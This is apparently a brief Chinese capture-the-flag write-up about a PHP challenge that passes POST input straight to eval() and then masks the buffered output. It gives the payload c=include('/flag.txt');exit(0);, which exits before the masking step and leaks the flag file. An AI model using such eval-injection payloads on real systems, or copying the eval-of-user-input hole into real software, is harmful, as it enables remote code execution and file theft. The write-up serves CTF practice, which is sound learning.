命令执行:缓冲区你快停停吧/ob_get_contents();
payload:
c=include('/flag.txt');exit(0);
<?php error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>
本题涉及到的核心函数:ob_get_contents();
该函数会得到输出缓冲区的内容
这个过程如下:
函数ob_get_contents()在ob_end_clean()前面来获得缓冲区的内容。
此时在执行ob_end_clean()前把内容保存到一个变量中,然后在ob_end_clean()后面对这个变量做操作。
我们可以执行php代码让后面的匹配缓冲区不执行直接退出
具体操作:c=include(‘/flag.txt’);exit(0);